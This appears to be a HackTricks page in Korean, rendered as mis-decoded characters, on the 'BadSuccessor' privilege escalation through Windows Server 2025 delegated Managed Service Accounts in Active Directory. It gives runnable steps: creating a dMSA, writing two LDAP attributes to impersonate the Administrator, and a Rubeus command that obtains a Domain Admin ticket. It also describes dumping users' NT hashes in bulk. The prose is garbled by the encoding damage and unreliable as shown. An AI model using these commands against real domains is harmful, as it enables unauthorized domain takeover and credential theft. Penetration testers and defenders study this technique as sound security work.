Active Directory ACLs/ACEs ์ ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์์๋ ๊ด๋ฆฌ ์๋น์ค ๊ณ์ (dMSAs)๋ Windows Server 2025์ ํจ๊ป ๋์ ๋ ์๋ก์ด AD ์ฃผ์ฒด ์ ํ์ ๋๋ค. ์ด๋ ๋ ๊ฑฐ์ ์๋น์ค ๊ณ์ ์ ๋์ฒดํ๊ธฐ ์ํด ์ค๊ณ๋์์ผ๋ฉฐ, ์ด์ ๊ณ์ ์ ์๋น์ค ์ฃผ์ฒด ์ด๋ฆ(SPN), ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ, ์์ ์ค์ ๋ฐ ์ฌ์ง์ด ์ํธํ ํค๋ฅผ ์๋์ผ๋ก ๋ณต์ฌํ๋ ์ํด๋ฆญ โ๋ง์ด๊ทธ๋ ์ด์ โ์ ํ์ฉํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ํํ๊ฒ ์ ํํ๊ณ Kerberoasting ์ํ์ ์ ๊ฑฐํฉ๋๋ค.
Akamai ์ฐ๊ตฌ์๋ค์ **msDSโManagedAccountPrecededByLink**๋ผ๋ ๋จ์ผ ์์ฑ์ด dMSA๊ฐ โ๊ณ์นโํ๋ ๋ ๊ฑฐ์ ๊ณ์ ์ KDC์ ์๋ ค์ค๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ํด๋น ์์ฑ์ ์ธ ์ ์๊ณ msDSโDelegatedMSAStateย โโฏ2๋ก ์ ํํ ์ ์๋ค๋ฉด, KDC๋ ์ ํํ ํผํด์์ ๋ชจ๋ SID๋ฅผ ์์ํ๋ PAC๋ฅผ ๊ธฐ๊บผ์ด ์์ฑํ์ฌ dMSA๊ฐ ๋๋ฉ์ธ ๊ด๋ฆฌ์ ํฌํจ ๋ชจ๋ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์๊ฒ ํฉ๋๋ค.
dMSA๋ ์ ํํ ๋ฌด์์ธ๊ฐ?
- gMSA ๊ธฐ์ ์์ ๊ตฌ์ถ๋์์ง๋ง ์๋ก์ด AD ํด๋์ค **
msDSโDelegatedManagedServiceAccount**๋ก ์ ์ฅ๋ฉ๋๋ค. - ์ตํธ์ธ ๋ง์ด๊ทธ๋ ์ด์
์ ์ง์ํฉ๋๋ค:
StartโADServiceAccountMigration์ ํธ์ถํ๋ฉด dMSA๊ฐ ๋ ๊ฑฐ์ ๊ณ์ ์ ์ฐ๊ฒฐ๋๊ณ , ๋ ๊ฑฐ์ ๊ณ์ ์msDSโGroupMSAMembership์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ๋ถ์ฌ๋๋ฉฐ,msDSโDelegatedMSAState๊ฐ 1๋ก ์ ํ๋ฉ๋๋ค. CompleteโADServiceAccountMigrationํ, ๋์ฒด๋ ๊ณ์ ์ ๋นํ์ฑํ๋๊ณ dMSA๋ ์์ ํ ๊ธฐ๋ฅ์ ๋ฐํํฉ๋๋ค; ์ด์ ์ ๋ ๊ฑฐ์ ๊ณ์ ์ ์ฌ์ฉํ๋ ๋ชจ๋ ํธ์คํธ๋ ์๋์ผ๋ก dMSA์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์๋ ๊ถํ์ ๋ถ์ฌ๋ฐ์ต๋๋ค.- ์ธ์ฆ ์ค์ KDC๋ KERBโSUPERSEDEDโBYโUSER ํํธ๋ฅผ ์ฝ์ ํ์ฌ Windows 11/24H2 ํด๋ผ์ด์ธํธ๊ฐ dMSA๋ก ํฌ๋ช ํ๊ฒ ์ฌ์๋ํ๋๋ก ํฉ๋๋ค.
๊ณต๊ฒฉ ์๊ตฌ ์ฌํญ
- ์ต์ ํ๋์ Windows Server 2025 DC๊ฐ ํ์ํ์ฌ dMSA LDAP ํด๋์ค์ KDC ๋ก์ง์ด ์กด์ฌํด์ผ ํฉ๋๋ค.
- OU์ ๋ํ ๊ฐ์ฒด ์์ฑ ๋๋ ์์ฑ ์ฐ๊ธฐ ๊ถํ(๋ชจ๋ OU) โ ์:
Create msDSโDelegatedManagedServiceAccount๋๋ ๋จ์ํ Create All Child Objects. Akamai๋ ์ค์ ํ๊ฒฝ์ 91%๊ฐ ๋น๊ด๋ฆฌ์์๊ฒ ์ด๋ฌํ โ๋ฌดํดํโ OU ๊ถํ์ ๋ถ์ฌํ๋ค๊ณ ๋ฐ๊ฒฌํ์ต๋๋ค. - Kerberos ํฐ์ผ์ ์์ฒญํ๊ธฐ ์ํด ๋๋ฉ์ธ์ ๊ฐ์ ๋ ํธ์คํธ์์ ๋๊ตฌ(ํ์์ ธ/Rubeus)๋ฅผ ์คํํ ์ ์๋ ๋ฅ๋ ฅ. ํผํด์ ์ฌ์ฉ์์ ๋ํ ์ ์ด๋ ํ์ํ์ง ์์ผ๋ฉฐ, ๊ณต๊ฒฉ์ ๋์ ๊ณ์ ์ ์ง์ ๊ฑด๋๋ฆฌ์ง ์์ต๋๋ค.
๋จ๊ณ๋ณ: BadSuccessor*๊ถํ ์์น
- ์ ์ดํ ์ ์๋ dMSA ์ฐพ๊ธฐ ๋๋ ์์ฑํ๊ธฐ
NewโADServiceAccount Attacker_dMSA `
โDNSHostName ad.lab `
โPath "OU=temp,DC=lab,DC=local"
๋น์ ์ด ์ธ ์ ์๋ OU ๋ด์์ ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ธฐ ๋๋ฌธ์, ๋น์ ์ ์๋์ผ๋ก ๋ชจ๋ ์์ฑ์ ์์ ํ๊ฒ ๋ฉ๋๋ค.
- ๋ ๊ฐ์ LDAP ์ฐ๊ธฐ๋ก โ์๋ฃ๋ ๋ง์ด๊ทธ๋ ์ด์ โ ์๋ฎฌ๋ ์ด์ :
msDSโManagedAccountPrecededByLink = DN์ ํผํด์์ ๊ฒ์ผ๋ก ์ค์ ํฉ๋๋ค (์:CN=Administrator,CN=Users,DC=lab,DC=local).msDSโDelegatedMSAState = 2๋ก ์ค์ ํฉ๋๋ค (๋ง์ด๊ทธ๋ ์ด์ ์๋ฃ).
SetโADComputer, ldapmodify ๋๋ ADSI Edit์ ๊ฐ์ ๋๊ตฌ๊ฐ ์๋ํ๋ฉฐ, ๋๋ฉ์ธ ๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ์ง ์์ต๋๋ค.
- dMSA์ ๋ํ TGT ์์ฒญ โ Rubeus๋
/dmsaํ๋๊ทธ๋ฅผ ์ง์ํฉ๋๋ค:
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
๋ฐํ๋ PAC์๋ ์ด์ SID 500(๊ด๋ฆฌ์) ๋ฐ ๋๋ฉ์ธ ๊ด๋ฆฌ์/์ํฐํ๋ผ์ด์ฆ ๊ด๋ฆฌ์ ๊ทธ๋ฃน์ด ํฌํจ๋ฉ๋๋ค.
๋ชจ๋ ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ ์์ง
์ ์์ ์ธ ๋ง์ด๊ทธ๋ ์ด์
์ค์ KDC๋ ์๋ก์ด dMSA๊ฐ ์ ํ ์ ์ ์ด์ ๊ณ์ ์ ๋ฐ๊ธ๋ ํฐ์ผ์ ๋ณตํธํํ ์ ์๋๋ก ํด์ผ ํฉ๋๋ค. ํ์ฑ ์ธ์
์ ์ค๋จํ์ง ์๊ธฐ ์ํด, KDC๋ **KERBโDMSAโKEYโPACKAGE**๋ผ๋ ์๋ก์ด ASN.1 ๋ธ๋กญ ์์ ํ์ฌ ํค์ ์ด์ ํค๋ฅผ ๋ชจ๋ ๋ฐฐ์นํฉ๋๋ค.
์ฐ๋ฆฌ์ ๊ฐ์ง ๋ง์ด๊ทธ๋ ์ด์ ์ด dMSA๊ฐ ํผํด์๋ฅผ ๊ณ์นํ๋ค๊ณ ์ฃผ์ฅํ๊ธฐ ๋๋ฌธ์, KDC๋ ํผํด์์ RC4-HMAC ํค๋ฅผ ์ด์ ํค ๋ชฉ๋ก์ ์ฑ์คํ ๋ณต์ฌํฉ๋๋ค โ dMSA๊ฐ โ์ด์ โ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ก๋ ์ ์ด ์๋๋ผ๋ ๋ง์ ๋๋ค. ์ด RC4 ํค๋ ์ํธ๊ฐ ์์ผ๋ฏ๋ก ์ฌ์ค์ ํผํด์์ NT ํด์๊ฐ ๋์ด ๊ณต๊ฒฉ์์๊ฒ ์คํ๋ผ์ธ ํฌ๋ํน ๋๋ โํจ์ค-๋-ํด์โ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
๋ฐ๋ผ์ ์์ฒ ๋ช ์ ์ฌ์ฉ์๋ฅผ ๋๋์ผ๋ก ์ฐ๊ฒฐํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ํด์๋ฅผ โ๋๊ท๋ชจ๋กโ ๋คํํ ์ ์๊ฒ ๋์ด BadSuccessor๊ฐ ๊ถํ ์์น ๋ฐ ์๊ฒฉ ์ฆ๋ช ์์ ์์ ๊ธฐ๋ฅ์ด ๋ฉ๋๋ค.
๋๊ตฌ
- https://github.com/akamai/BadSuccessor
- https://github.com/logangoins/SharpSuccessor
- https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
์ฐธ๊ณ ๋ฌธํ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


